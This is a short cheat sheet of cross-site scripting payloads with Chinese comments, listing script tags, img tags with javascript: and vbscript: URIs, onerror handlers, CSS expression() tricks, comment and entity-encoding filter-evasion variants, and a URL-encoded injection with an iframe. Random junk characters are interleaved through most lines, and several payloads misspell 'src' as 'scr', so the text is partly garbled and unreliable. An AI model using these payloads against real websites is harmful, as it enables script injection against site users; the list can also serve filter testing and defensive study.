<script>alert("跨站")</script> (最常用)2 w+ E# `* F& ^
<img scr=javascript:alert("跨站")></img>
+ j, v" Q) y4 t' N1 w) \, C<img scr="javascript: alert(/跨站/)></img>1 I$ Z; a9 M1 k
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格); b1 m9 v, P# z" \% L* k( `8 F
<img scr="#" onerror=alert(/跨站/)></img>
- [$ w1 u9 c2 f; f<img scr="#" style="xss:expression(alert(/xss/));"></img>
" E3 a( r4 ]* u<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)! q8 `9 W/ ?; c4 Q8 P
<img src=vbscript:msgbox ("xss")></img>
2 M q9 Y, W+ u5 l O& W<style> input {left:expression (alert('xss'))}</style>% R" I$ N4 @! Y. m, G$ M
<div style={left:expression (alert('xss'))}></div>
1 D5 Y$ ?+ U" p9 s( D<div style={left:exp/* */ression (alert('xss'))}></div>
8 L2 F0 k. T }& X' L6 |<div style={left:\0065\0078ression (alert('xss'))}></div>6 J+ \" X$ x+ ~
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>' T' t8 ]6 q5 a3 @. W' N1 _( _" t
unicode <div style="{left:expRessioN (alert('xss'))}">
" ~- O- p' F1 F- Z/ M, t1 l5 X. |2 L
"]}%3Cscript%3Ealert('我又来啦!.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
% W% o: t6 j# j; W |